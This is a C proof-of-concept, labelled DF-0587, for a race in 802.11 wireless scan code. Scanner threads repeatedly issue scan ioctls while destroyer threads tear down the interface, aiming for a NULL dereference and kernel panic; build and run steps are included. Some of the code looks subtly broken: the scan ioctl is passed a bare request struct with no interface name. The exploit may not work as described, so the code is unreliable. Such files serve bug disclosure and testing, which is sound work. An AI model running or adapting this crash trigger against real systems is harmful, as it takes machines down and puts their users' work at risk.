/*
 * DF-0587 PoC: race scan_curchan_task against concurrent vap detach.
 *
 * The race window is in scan_curchan_task between IEEE80211_UNLOCK(ic) at :741
 * and the re-acquire at :761, during which ieee80211_scan_vdetach (triggered
 * by vap destroy) can null ss_vap/ss_ops. On re-lock scan_curchan_task does
 * not re-validate, then dereferences the NULL vap (crash on DEBUG kernels in
 * IEEE80211_DPRINTF, or in scan_done on non-DEBUG kernels once the scan has
 * reached the last channel).
 *
 * Build:  cc -O2 -Wall race.c -o race
 * Run:    sudo ./race wlan0       (must be root: vap destroy needs privilege)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netproto/802_11/ieee80211_ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

static volatile int stop = 0;
static char *ifname;

/* Thread A: pump IEEE80211_IOC_SCAN_REQ to drive scan_curchan_task. */
static void *
scanner(void *arg)
{
    struct ieee80211_scan_req sr;
    int s = (int)(intptr_t)arg;
    int fd;

    fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd < 0) { perror("scanner socket"); return NULL; }

    while (!stop) {
        memset(&sr, 0, sizeof(sr));
        sr.sr_flags = IEEE80211_IOC_SCAN_ACTIVE;
        sr.sr_duration = IEEE80211_IOC_SCAN_DURATION_MAX;  /* long dwell */
        sr.sr_nssid = 0;
        /* drive scan_curchan_task hard, repeatedly */
        if (ioctl(fd, SIOCS80211, &sr) < 0) {
            /* vap may be torn down under us; loop and re-try */
        }
    }
    close(fd);
    (void)s;
    return NULL;
}

/* Thread B: race vap destroy against the in-flight scan. */
static void *
destroyer(void *arg)
{
    struct ifreq ifr;
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd < 0) { perror("destroyer socket"); return NULL; }

    while (!stop) {
        memset(&ifr, 0, sizeof(ifr));
        strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
        /* toggle the vap down/up; destroy is heavier and may need re-attach */
        if (ioctl(fd, SIOCIFDESTROY, &ifr) < 0) {
            /* re-create by toggling parent if needed; for a quick PoC just
               re-issuing destroy will mostly EBUSY/ENXIO which is fine --
               the racing scan_curchan_task is what we are after. */
        }
        /* brief pause to let the vap come back if driver re-creates */
        usleep(1000);
    }
    close(fd);
    (void)arg;
    return NULL;
}

int
main(int argc, char **argv)
{
    pthread_t sc[4], de[4];
    int i;

    if (argc != 2) {
        fprintf(stderr, "usage: %s wlan0\n", argv[0]);
        return 2;
    }
    ifname = argv[1];

    fprintf(stderr,
        "DF-0587 race: scan_req vs vap-destroy on %s for 60s...\n", ifname);

    for (i = 0; i < 4; i++)
        pthread_create(&sc[i], NULL, scanner, (void *)(intptr_t)i);
    for (i = 0; i < 4; i++)
        pthread_create(&de[i], NULL, destroyer, NULL);

    for (i = 0; i < 60; i++)
        sleep(1);
    stop = 1;
    __sync_synchronize();

    for (i = 0; i < 4; i++) pthread_join(sc[i], NULL);
    for (i = 0; i < 4; i++) pthread_join(de[i], NULL);

    fprintf(stderr,
        "DF-0587 race finished. Check dmesg for a panic in scan_done / scan_curchan_task.\n");
    return 0;
}
